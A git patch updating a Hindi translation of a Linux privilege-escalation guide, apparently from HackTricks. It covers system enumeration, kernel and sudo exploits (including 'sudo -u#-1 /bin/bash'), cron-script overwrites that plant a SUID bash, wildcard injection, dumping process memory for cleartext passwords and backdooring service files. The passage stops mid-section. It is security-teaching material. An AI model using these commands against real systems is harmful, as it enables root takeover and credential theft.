From a0b87436396dea721711b462d8747e231661af3d Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 28 Aug 2025 19:01:02 +0000 Subject: [PATCH] Translated ['', 'src/linux-hardening/privilege-escalation/README.md', 's --- .../privilege-escalation/README.md | 671 +++++++++--------- .../pentesting-web/apache.md | 147 ++-- 2 files changed, 429 insertions(+), 389 deletions(-) diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index cfe209262..2db408058 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -2,11 +2,11 @@ {{#include ../../banners/hacktricks-training.md}} -## System Information +## सिस्टम जानकारी -### OS info +### OS जानकारी -आइए चलिए उस OS के बारे में कुछ जानकारी प्राप्त करते हैं जो चल रहा है +चल रहे OS के बारे में जानकारी एकत्र करना शुरू करते हैं। ```bash (cat /proc/version || uname -a ) 2>/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems @@ -14,38 +14,38 @@ cat /etc/os-release 2>/dev/null # universal on modern systems ``` ### Path -यदि आपके पास `PATH` वेरिएबल के अंदर किसी भी फ़ोल्डर पर लिखने की अनुमति है, तो आप कुछ लाइब्रेरी या बाइनरी को हाइजैक करने में सक्षम हो सकते हैं: +यदि आप **`PATH` वेरिएबल के किसी भी फ़ोल्डर पर लिखने की अनुमति रखते हैं** तो आप कुछ libraries या binaries hijack कर सकते हैं: ```bash echo $PATH ``` -### Env info +### Env जानकारी -दिलचस्प जानकारी, पासवर्ड या API कुंजी क्या पर्यावरण चर में हैं? +क्या environment variables में कोई रोचक जानकारी, passwords या API keys हैं? ```bash (env || set) 2>/dev/null ``` ### Kernel exploits -कर्नेल संस्करण की जांच करें और यदि कोई ऐसा एक्सप्लॉइट है जिसका उपयोग विशेषाधिकार बढ़ाने के लिए किया जा सकता है। +कर्नेल संस्करण की जाँच करें और देखें कि क्या कोई ऐसा exploit है जिसका उपयोग करके आप escalate privileges कर सकें ```bash cat /proc/version uname -a searchsploit "Linux Kernel" ``` -आप एक अच्छा कमजोर कर्नेल सूची और कुछ पहले से **संकलित एक्सप्लॉइट्स** यहाँ पा सकते हैं: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) और [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits)।\ -अन्य साइटें जहाँ आप कुछ **संकलित एक्सप्लॉइट्स** पा सकते हैं: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) +आप यहां एक अच्छी vulnerable kernel सूची और कुछ पहले से **compiled exploits** पा सकते हैं: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) और [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ +Other sites where you can find some **compiled exploits**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) -उस वेब से सभी कमजोर कर्नेल संस्करणों को निकालने के लिए आप कर सकते हैं: +उस वेबसाइट से सभी vulnerable kernel versions निकालने के लिए आप निम्न कर सकते हैं: ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` -कर्नेल एक्सप्लॉइट्स की खोज में मदद करने के लिए उपकरण हैं: +नीचे दिए गए Tools kernel exploits खोजने में मदद कर सकते हैं: [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (शिकार पर निष्पादित करें, केवल कर्नेल 2.x के लिए एक्सप्लॉइट्स की जांच करता है) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (execute IN victim,only checks exploits for kernel 2.x) -हमेशा **Google में कर्नेल संस्करण खोजें**, शायद आपका कर्नेल संस्करण किसी कर्नेल एक्सप्लॉइट में लिखा हो और फिर आप सुनिश्चित होंगे कि यह एक्सप्लॉइट मान्य है। +हमेशा **Google में kernel version खोजें**, शायद आपका kernel version किसी kernel exploit में लिखा हुआ है और फिर आप सुनिश्चित हो जाएँगे कि यह exploit वैध है। ### CVE-2016-5195 (DirtyCow) @@ -59,34 +59,34 @@ https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` ### Sudo संस्करण -जो कमजोर sudo संस्करणों पर आधारित है जो दिखाई देते हैं: +उन कमजोर sudo संस्करणों के आधार पर जो निम्न में दिखाई देते हैं: ```bash searchsploit sudo ``` -आप इस grep का उपयोग करके जांच सकते हैं कि sudo संस्करण कमजोर है या नहीं। +आप इस grep का उपयोग करके जांच सकते हैं कि sudo संस्करण vulnerable है। ```bash sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]" ``` #### sudo < v1.28 -From @sickrov +द्वारा @sickrov ``` sudo -u#-1 /bin/bash ``` -### Dmesg सिग्नेचर सत्यापन विफल +### Dmesg signature verification failed -**smasher2 box of HTB** के लिए इस vuln के शोषण के एक **उदाहरण** की जांच करें +देखें **smasher2 box of HTB** — यह इस vuln को कैसे exploit किया जा सकता है का एक **उदाहरण** है ```bash dmesg 2>/dev/null | grep "signature" ``` -### अधिक सिस्टम एन्यूमरेशन +### अधिक system enumeration ```bash date 2>/dev/null #Date (df -h || lsblk) #System stats lscpu #CPU info lpstat -a 2>/dev/null #Printers info ``` -## संभावित रक्षा की गणना करें +## संभावित सुरक्षा उपायों की सूची बनाएं ### AppArmor ```bash @@ -100,7 +100,7 @@ else echo "Not found AppArmor" fi ``` -### ग्रसिक्योरिटी +### Grsecurity ```bash ((uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo "Not found grsecurity") ``` @@ -123,78 +123,78 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null ``` ## Docker Breakout -यदि आप एक docker कंटेनर के अंदर हैं, तो आप इससे बाहर निकलने की कोशिश कर सकते हैं: +यदि आप docker container के अंदर हैं तो आप इससे escape करने की कोशिश कर सकते हैं: {{#ref}} docker-security/ {{#endref}} -## Drives +## ड्राइव्स -जांचें **क्या माउंट किया गया है और क्या अनमाउंट किया गया है**, कहाँ और क्यों। यदि कुछ अनमाउंट किया गया है, तो आप इसे माउंट करने और निजी जानकारी की जांच करने की कोशिश कर सकते हैं। +जाँच करें **what is mounted and unmounted**, कहाँ और क्यों। अगर कुछ unmounted है तो आप उसे mount करके private info की जाँच कर सकते हैं। ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null #Check if credentials in fstab grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null ``` -## उपयोगी सॉफ़्टवेयर +## उपयोगी software -उपयोगी बाइनरीज़ की गणना करें +उपयोगी binaries की सूची बनाएं ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -इसके अलावा, **कोई भी कंपाइलर स्थापित है या नहीं** यह जांचें। यह उपयोगी है यदि आपको कुछ कर्नेल एक्सप्लॉइट का उपयोग करने की आवश्यकता है क्योंकि इसे उस मशीन पर संकलित करना अनुशंसित है जहाँ आप इसका उपयोग करने जा रहे हैं (या एक समान मशीन पर)। +इसके अलावा, जाँच करें कि **any compiler is installed**. यह उपयोगी है अगर आपको कोई kernel exploit इस्तेमाल करना हो, क्योंकि अनुशंसा होती है कि आप इसे उस मशीन पर compile करें जहाँ आप इसका इस्तेमाल करने वाले हैं (या किसी समान मशीन में)। ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` -### Vulnerable Software Installed +### कमजोर सॉफ़्टवेयर स्थापित -Check for the **version of the installed packages and services**. Maybe there is some old Nagios version (for example) that could be exploited for escalating privileges…\ -यह अनुशंसा की जाती है कि अधिक संदिग्ध स्थापित सॉफ़्टवेयर के संस्करण को मैन्युअल रूप से जांचें। +स्थापित पैकेज और सेवाओं के **संस्करण** की जाँच करें। शायद कोई पुराना Nagios संस्करण (उदाहरण के लिए) हो जिसे escalating privileges के लिए exploited किया जा सकता है…\ +अनुशंसा की जाती है कि अधिक संदिग्ध स्थापित सॉफ़्टवेयर के संस्करण की मैन्युअल रूप से जाँच की जाए। ```bash dpkg -l #Debian rpm -qa #Centos ``` -यदि आपके पास मशीन पर SSH पहुंच है, तो आप **openVAS** का उपयोग करके मशीन के अंदर स्थापित पुराने और कमजोर सॉफ़्टवेयर की जांच कर सकते हैं। +अगर आपके पास मशीन तक SSH access है, तो आप मशीन में इंस्टॉल किए गए पुराने और कमजोर सॉफ़्टवेयर की जाँच करने के लिए **openVAS** का भी उपयोग कर सकते हैं। -> [!NOTE] > _ध्यान दें कि ये कमांड बहुत सारी जानकारी दिखाएंगे जो ज्यादातर बेकार होगी, इसलिए कुछ एप्लिकेशन जैसे OpenVAS या समान का उपयोग करने की सिफारिश की जाती है जो जांचेंगे कि क्या कोई स्थापित सॉफ़्टवेयर संस्करण ज्ञात शोषणों के लिए कमजोर है_ +> [!NOTE] > _ध्यान दें कि ये कमांड बहुत सारी जानकारी दिखाएँगे जो अधिकांशतः बेकार होगी, इसलिए OpenVAS या इसी तरह के किसी अनुप्रयोग की सलाह दी जाती है जो जाँच सके कि कोई इंस्टॉल किया गया सॉफ़्टवेयर संस्करण ज्ञात exploits के लिए vulnerable है_ ## Processes -देखें कि **कौन से प्रक्रियाएँ** निष्पादित की जा रही हैं और जांचें कि क्या कोई प्रक्रिया **जितनी होनी चाहिए उससे अधिक विशेषाधिकार** रखती है (शायद एक टॉमकैट जिसे रूट द्वारा निष्पादित किया जा रहा है?) +देखें कि **कौन से processes** चल रहे हैं और जाँचें कि कोई process **जरूरत से ज्यादा privileges** तो नहीं रखता (शायद tomcat root के द्वारा चल रहा हो?) ```bash ps aux ps -ef top -n 1 ``` -हमेशा संभावित [**electron/cef/chromium debuggers** की जांच करें, आप इसका दुरुपयोग करके विशेषाधिकार बढ़ा सकते हैं](electron-cef-chromium-debugger-abuse.md)। **Linpeas** इनकी पहचान करने के लिए प्रक्रिया की कमांड लाइन में `--inspect` पैरामीटर की जांच करते हैं।\ -साथ ही **प्रक्रियाओं के बाइनरी पर अपने विशेषाधिकारों की जांच करें**, शायद आप किसी और को ओवरराइट कर सकते हैं। +हमेशा संभव [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md) की जाँच करें। **Linpeas** detect those by checking the `--inspect` parameter inside the command line of the process.\ +साथ ही अपने processes की binaries पर अपने privileges भी चेक करें — हो सकता है आप किसी की बाइनरी को overwrite कर सकें। -### प्रक्रिया निगरानी +### प्रोसेस मॉनिटरिंग -आप प्रक्रियाओं की निगरानी के लिए [**pspy**](https://github.com/DominicBreuker/pspy) जैसे उपकरणों का उपयोग कर सकते हैं। यह अक्सर चल रही कमजोर प्रक्रियाओं की पहचान करने के लिए बहुत उपयोगी हो सकता है या जब आवश्यकताओं का एक सेट पूरा होता है। +आप processes को monitor करने के लिए [**pspy**](https://github.com/DominicBreuker/pspy) जैसे tools का उपयोग कर सकते हैं। यह उन vulnerable processes की पहचान करने में बहुत उपयोगी हो सकता है जो बार-बार execute होते हैं या जब कुछ requirements पूरी होती हैं। -### प्रक्रिया मेमोरी +### प्रोसेस मेमोरी -कुछ सर्वर की सेवाएं **मेमोरी के अंदर स्पष्ट पाठ में क्रेडेंशियल्स** सहेजती हैं।\ -सामान्यतः, आपको अन्य उपयोगकर्ताओं से संबंधित प्रक्रियाओं की मेमोरी पढ़ने के लिए **रूट विशेषाधिकार** की आवश्यकता होगी, इसलिए यह आमतौर पर तब अधिक उपयोगी होता है जब आप पहले से ही रूट हैं और अधिक क्रेडेंशियल्स खोजने की कोशिश कर रहे हैं।\ -हालांकि, याद रखें कि **एक सामान्य उपयोगकर्ता के रूप में आप अपनी प्रक्रियाओं की मेमोरी पढ़ सकते हैं**। +कुछ server services memory के अंदर **credentials in clear text inside the memory** सेव कर देती हैं।\ +सामान्यतः आपको उन processes की memory पढ़ने के लिए **root privileges** चाहिए जो दूसरे users के हैं; इसलिए यह आम तौर पर तब अधिक उपयोगी होता है जब आप पहले से root हों और और credentials खोजना चाहें।\ +हालाँकि, ध्यान रखें कि **एक सामान्य user के तौर पर आप उन processes की memory पढ़ सकते हैं जिनके आप owner हैं**। > [!WARNING] -> ध्यान दें कि आजकल अधिकांश मशीनें **डिफ़ॉल्ट रूप से ptrace की अनुमति नहीं देतीं** जिसका अर्थ है कि आप अपने बिना विशेषाधिकार वाले उपयोगकर्ता से संबंधित अन्य प्रक्रियाओं को डंप नहीं कर सकते। +> ध्यान दें कि आजकल ज्यादातर machines **default रूप से ptrace की अनुमति नहीं देतीं** जिसका मतलब है कि आप अपने unprivileged user के अन्य processes को dump नहीं कर सकते। > -> फ़ाइल _**/proc/sys/kernel/yama/ptrace_scope**_ ptrace की पहुंच को नियंत्रित करती है: +> फ़ाइल _**/proc/sys/kernel/yama/ptrace_scope**_ ptrace की accessibility को नियंत्रित करती है: > -> - **kernel.yama.ptrace_scope = 0**: सभी प्रक्रियाओं को डिबग किया जा सकता है, जब तक कि उनके पास समान uid हो। यह ptracing के काम करने का पारंपरिक तरीका है। -> - **kernel.yama.ptrace_scope = 1**: केवल एक माता-पिता प्रक्रिया को डिबग किया जा सकता है। -> - **kernel.yama.ptrace_scope = 2**: केवल व्यवस्थापक ptrace का उपयोग कर सकता है, क्योंकि इसे CAP_SYS_PTRACE क्षमता की आवश्यकता होती है। -> - **kernel.yama.ptrace_scope = 3**: कोई प्रक्रियाएं ptrace के साथ ट्रेस नहीं की जा सकतीं। एक बार सेट होने पर, ptracing को फिर से सक्षम करने के लिए एक रिबूट की आवश्यकता होती है। +> - **kernel.yama.ptrace_scope = 0**: all processes can be debugged, as long as they have the same uid. This is the classical way of how ptracing worked. +> - **kernel.yama.ptrace_scope = 1**: only a parent process can be debugged. +> - **kernel.yama.ptrace_scope = 2**: Only admin can use ptrace, as it required CAP_SYS_PTRACE capability. +> - **kernel.yama.ptrace_scope = 3**: No processes may be traced with ptrace. Once set, a reboot is needed to enable ptracing again. #### GDB -यदि आपके पास एक FTP सेवा (उदाहरण के लिए) की मेमोरी तक पहुंच है, तो आप Heap प्राप्त कर सकते हैं और इसके क्रेडेंशियल्स के अंदर खोज कर सकते हैं। +यदि आपके पास किसी FTP service की memory तक access है (उदाहरण के लिए), तो आप Heap निकालकर इसके अंदर के credentials खोज सकते हैं। ```bash gdb -p (gdb) info proc mappings @@ -216,7 +216,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -किसी दिए गए प्रक्रिया आईडी के लिए, **maps दिखाता है कि मेमोरी उस प्रक्रिया के** वर्चुअल एड्रेस स्पेस के भीतर कैसे मैप की गई है; यह **प्रत्येक मैप की गई क्षेत्र के अनुमतियों** को भी दिखाता है। **mem** प्सेउडो फ़ाइल **प्रक्रियाओं की मेमोरी को स्वयं उजागर करती है**। **maps** फ़ाइल से हम जानते हैं कि **कौन सी मेमोरी क्षेत्र पढ़ने योग्य हैं** और उनके ऑफसेट। हम इस जानकारी का उपयोग **mem फ़ाइल में खोजने और सभी पढ़ने योग्य क्षेत्रों को फ़ाइल में डंप करने** के लिए करते हैं। +For a given process ID, **maps show how memory is mapped within that process's** virtual address space; it also shows the **permissions of each mapped region**. The **mem** pseudo file **exposes the processes memory itself**. From the **maps** file we know which **memory regions are readable** and their offsets. We use this information to **seek into the mem file and dump all readable regions** to a file. ```bash procdump() ( @@ -231,14 +231,14 @@ rm $1*.bin ``` #### /dev/mem -`/dev/mem` सिस्टम की **भौतिक** मेमोरी तक पहुँच प्रदान करता है, न कि आभासी मेमोरी तक। कर्नेल की आभासी पता स्थान को /dev/kmem का उपयोग करके एक्सेस किया जा सकता है।\ -आम तौर पर, `/dev/mem` केवल **रूट** और **kmem** समूह द्वारा पढ़ा जा सकता है। +`/dev/mem` सिस्टम की **भौतिक** मेमोरी तक पहुँच प्रदान करता है, न कि वर्चुअल मेमोरी। kernel का वर्चुअल address space /dev/kmem का उपयोग करके एक्सेस किया जा सकता है.\ +सामान्यतः, `/dev/mem` केवल **root** और **kmem** group द्वारा पढ़ा जा सकता है. ``` strings /dev/mem -n10 | grep -i PASS ``` -### ProcDump for linux +### ProcDump के लिए linux -ProcDump एक Linux में Sysinternals टूल्स के सूट से क्लासिक ProcDump टूल का पुनः कल्पना है। इसे [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) पर प्राप्त करें। +ProcDump Windows के Sysinternals suite के classic ProcDump tool का Linux के लिए पुनर्कल्पना है। इसे प्राप्त करें: [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) ``` procdump -p 1714 @@ -265,40 +265,40 @@ Press Ctrl-C to end monitoring without terminating the process. [20:20:58 - INFO]: Timed: [20:21:00 - INFO]: Core dump 0 generated: ./sleep_time_2021-11-03_20:20:58.1714 ``` -### Tools +### उपकरण -एक प्रक्रिया की मेमोरी को डंप करने के लिए आप उपयोग कर सकते हैं: +process memory को dump करने के लिए आप इनका उपयोग कर सकते हैं: - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) -- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_आप मैन्युअल रूप से रूट आवश्यकताओं को हटा सकते हैं और अपने द्वारा स्वामित्व वाली प्रक्रिया को डंप कर सकते हैं -- Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (रूट की आवश्यकता है) +- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_आप मैन्युअल रूप से root आवश्यकताओं को हटाकर अपने स्वामित्व वाले process को dump कर सकते हैं +- Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root आवश्यक है) -### Credentials from Process Memory +### Process Memory से Credentials -#### Manual example +#### मैनुअल उदाहरण -यदि आप पाते हैं कि ऑथेंटिकेटर प्रक्रिया चल रही है: +यदि आप पाते हैं कि authenticator process चल रही है: ```bash ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -आप प्रक्रिया को डंप कर सकते हैं (विभिन्न तरीकों को खोजने के लिए पिछले अनुभागों को देखें जो एक प्रक्रिया की मेमोरी को डंप करने के लिए हैं) और मेमोरी के अंदर क्रेडेंशियल्स की खोज कर सकते हैं: +आप process को dump कर सकते हैं (पहले के अनुभाग देखें ताकि किसी process की memory को dump करने के विभिन्न तरीके मिल सकें) और memory के अंदर credentials खोजें: ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` #### mimipenguin -यह उपकरण [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) **मेमोरी से स्पष्ट पाठ क्रेडेंशियल्स** और कुछ **ज्ञात फ़ाइलों** से **चोरी** करेगा। इसे सही तरीके से काम करने के लिए रूट विशेषाधिकारों की आवश्यकता होती है। +यह टूल [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) memory से और कुछ well known files से clear text credentials चुराएगा। इसे सही रूप से काम करने के लिए root privileges की आवश्यकता होती है। -| विशेषता | प्रक्रिया का नाम | +| फीचर | प्रोसेस का नाम | | ------------------------------------------------- | -------------------- | -| GDM पासवर्ड (Kali Desktop, Debian Desktop) | gdm-password | +| GDM password (Kali Desktop, Debian Desktop) | gdm-password | | Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | | LightDM (Ubuntu Desktop) | lightdm | -| VSFTPd (सक्रिय FTP कनेक्शन) | vsftpd | -| Apache2 (सक्रिय HTTP बेसिक ऑथ सत्र) | apache2 | -| OpenSSH (सक्रिय SSH सत्र - Sudo उपयोग) | sshd: | +| VSFTPd (Active FTP Connections) | vsftpd | +| Apache2 (Active HTTP Basic Auth Sessions) | apache2 | +| OpenSSH (Active SSH Sessions - Sudo Usage) | sshd: | #### Search Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc) ```bash @@ -316,7 +316,7 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... ``` ## Scheduled/Cron jobs -जांचें कि क्या कोई निर्धारित कार्य कमजोर है। शायद आप एक स्क्रिप्ट का लाभ उठा सकते हैं जो रूट द्वारा निष्पादित की जा रही है (वाइल्डकार्ड vuln? क्या रूट द्वारा उपयोग की जाने वाली फ़ाइलों को संशोधित कर सकते हैं? क्या सिम्लिंक्स का उपयोग कर सकते हैं? क्या रूट द्वारा उपयोग की जाने वाली निर्देशिका में विशिष्ट फ़ाइलें बना सकते हैं?)। +जाँच करें कि कोई भी scheduled/Cron job vulnerable है या नहीं। शायद आप उस script का फायदा उठा सकें जो root द्वारा execute होती है (wildcard vuln? root द्वारा उपयोग की जाने वाली फ़ाइलों को modify कर सकते हैं? symlinks का उपयोग? root द्वारा उपयोग की जाने वाली डायरेक्टरी में specific फ़ाइलें बना सकते हैं?). ```bash crontab -l ls -al /etc/cron* /etc/at* @@ -326,141 +326,141 @@ cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/nul उदाहरण के लिए, _/etc/crontab_ के अंदर आप PATH पा सकते हैं: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ -(_ध्यान दें कि उपयोगकर्ता "user" के पास /home/user पर लिखने के अधिकार हैं_) +(_ध्यान दें कि उपयोगकर्ता "user" के पास /home/user पर लिखने की अनुमतियाँ हैं_) -यदि इस क्रॉनटैब के अंदर रूट उपयोगकर्ता बिना पथ सेट किए किसी कमांड या स्क्रिप्ट को निष्पादित करने की कोशिश करता है। उदाहरण के लिए: _\* \* \* \* root overwrite.sh_\ -तो, आप इसका उपयोग करके एक रूट शेल प्राप्त कर सकते हैं: +यदि इस crontab के भीतर root उपयोगकर्ता बिना PATH सेट किए कोई कमांड या स्क्रिप्ट चलाने की कोशिश करता है। उदाहरण के लिए: _\* \* \* \* root overwrite.sh_\ +तब, आप निम्नलिखित का उपयोग करके root shell प्राप्त कर सकते हैं: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed /tmp/bash -p #The effective uid and gid to be set to the real uid and gid ``` -### Cron using a script with a wildcard (Wildcard Injection) +### Cron द्वारा एक script में wildcard के साथ उपयोग (Wildcard Injection) -यदि एक स्क्रिप्ट जिसे रूट द्वारा निष्पादित किया जाता है, एक कमांड के अंदर “**\***” है, तो आप इसका उपयोग अप्रत्याशित चीजें करने के लिए कर सकते हैं (जैसे privesc)। उदाहरण: +यदि root द्वारा चलाया गया कोई script किसी command के अंदर “**\***” रखता है, तो आप इसे unexpected चीज़ें (जैसे privesc) करने के लिए exploit कर सकते हैं। उदाहरण: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` -**यदि वाइल्डकार्ड के पहले एक पथ हो जैसे** _**/some/path/\***_ **, तो यह संवेदनशील नहीं है (यहां तक कि** _**./\***_ **भी नहीं है)।** +**यदि wildcard किसी path जैसे** _**/some/path/\***_ **के पहले आता है, तो यह vulnerable नहीं है (यहाँ तक कि** _**./\***_ **भी नहीं)।** -अधिक वाइल्डकार्ड शोषण तकनीकों के लिए निम्नलिखित पृष्ठ पढ़ें: +अधिक wildcard exploitation tricks के लिए निम्नलिखित पृष्ठ पढ़ें: {{#ref}} wildcards-spare-tricks.md {{#endref}} -### क्रोन स्क्रिप्ट ओवरराइटिंग और सिम्लिंक +### Cron script को ओवरराइट करना और symlink -यदि आप **एक क्रोन स्क्रिप्ट को संशोधित कर सकते हैं** जो रूट द्वारा निष्पादित होती है, तो आप बहुत आसानी से एक शेल प्राप्त कर सकते हैं: +यदि आप **cron script को संशोधित कर सकते हैं** जो root द्वारा execute किया जाता है, तो आप बहुत आसानी से shell प्राप्त कर सकते हैं: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -यदि रूट द्वारा निष्पादित स्क्रिप्ट एक **निर्देशिका का उपयोग करती है जहाँ आपके पास पूर्ण पहुंच है**, तो शायद उस फ़ोल्डर को हटाना और **आपके द्वारा नियंत्रित स्क्रिप्ट की सेवा करने वाले दूसरे फ़ोल्डर के लिए एक सिम्लिंक फ़ोल्डर बनाना** उपयोगी हो सकता है। +यदि root द्वारा चलाया गया script किसी ऐसे **directory where you have full access** का उपयोग करता है, तो उस folder को हटाकर और उसकी जगह किसी दूसरे स्थान पर एक **symlink folder to another one** बना कर जहाँ आपका नियंत्रित script serve करे, यह उपयोगी हो सकता है। ```bash ln -d -s ``` -### Frequent cron jobs +### बार-बार होने वाले cron jobs -आप प्रक्रियाओं की निगरानी कर सकते हैं ताकि उन प्रक्रियाओं की खोज की जा सके जो हर 1, 2 या 5 मिनट में चल रही हैं। शायद आप इसका लाभ उठा सकते हैं और विशेषाधिकार बढ़ा सकते हैं। +आप processes की निगरानी कर सकते हैं ताकि उन processes को खोजा जा सके जो हर 1, 2 या 5 मिनट पर चलाए जा रहे हों। शायद आप इसका फायदा उठाकर privileges escalate कर सकें। -उदाहरण के लिए, **1 मिनट के लिए हर 0.1 सेकंड की निगरानी करने के लिए**, **कम चलाए गए कमांड के अनुसार क्रमबद्ध करें** और उन कमांड को हटा दें जो सबसे अधिक चलाए गए हैं, आप कर सकते हैं: +उदाहरण के लिए, **monitor every 0.1s during 1 minute**, **sort by less executed commands** और सबसे अधिक executed हुए commands को delete करने के लिए, आप निम्न कर सकते हैं: ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` -**आप भी उपयोग कर सकते हैं** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (यह हर प्रक्रिया की निगरानी करेगा और सूचीबद्ध करेगा जो शुरू होती है)। +**आप निम्न का भी उपयोग कर सकते हैं** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (यह हर शुरू हुए process को मॉनिटर करेगा और सूचीबद्ध करेगा)। -### अदृश्य क्रोन जॉब्स +### अदृश्य cron jobs -यह संभव है कि एक क्रोनजॉब **एक टिप्पणी के बाद कैरिज रिटर्न डालकर** (बिना न्यूलाइन कैरेक्टर के) बनाया जाए, और क्रोन जॉब काम करेगा। उदाहरण (कैरिज रिटर्न कैरेक्टर पर ध्यान दें): +यह संभव है कि एक cronjob **टिप्पणी के बाद carriage return रखने** से बनाया जा सके (newline character के बिना), और cron job काम करेगा। उदाहरण (carriage return char पर ध्यान दें): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` -## Services +## सेवाएँ -### Writable _.service_ files +### लिखने योग्य _.service_ फाइलें -जांचें कि क्या आप किसी `.service` फ़ाइल को लिख सकते हैं, यदि आप कर सकते हैं, तो आप इसे **संशोधित कर सकते हैं** ताकि यह **आपका बैकडोर चलाए** जब सेवा **शुरू**, **पुनः प्रारंभ** या **रोक दी जाए** (शायद आपको मशीन के पुनरारंभ होने तक इंतजार करना पड़े)।\ -उदाहरण के लिए, .service फ़ाइल के अंदर अपने बैकडोर को **`ExecStart=/tmp/script.sh`** के साथ बनाएं। +जाँचें कि क्या आप किसी भी `.service` फ़ाइल को लिख सकते हैं, अगर कर सकते हैं, तो आप **इसे संशोधित कर सकते हैं** ताकि यह **निष्पादित करे** आपकी **backdoor जब** सेवा **शुरू**, **रीस्टार्ट** या **रोक** की जाए (शायद आपको मशीन के reboot होने तक इंतज़ार करना पड़े). \ +उदाहरण के लिए अपनी backdoor को .service फ़ाइल के अंदर बनाएं **`ExecStart=/tmp/script.sh`** -### Writable service binaries +### लिखने योग्य service binaries -याद रखें कि यदि आपके पास **सेवाओं द्वारा निष्पादित बाइनरी पर लिखने की अनुमति है**, तो आप उन्हें बैकडोर के लिए बदल सकते हैं ताकि जब सेवाएं फिर से निष्पादित हों, तो बैकडोर निष्पादित हों। +ध्यान रखें कि यदि आपके पास **write permissions over binaries being executed by services**, तो आप उन्हें backdoors के लिए बदल सकते हैं ताकि जब services पुनः निष्पादित हों तो backdoors निष्पादित हो जाएँ। -### systemd PATH - Relative Paths +### systemd PATH - सापेक्ष पथ -आप **systemd** द्वारा उपयोग किए जाने वाले PATH को देख सकते हैं: +आप 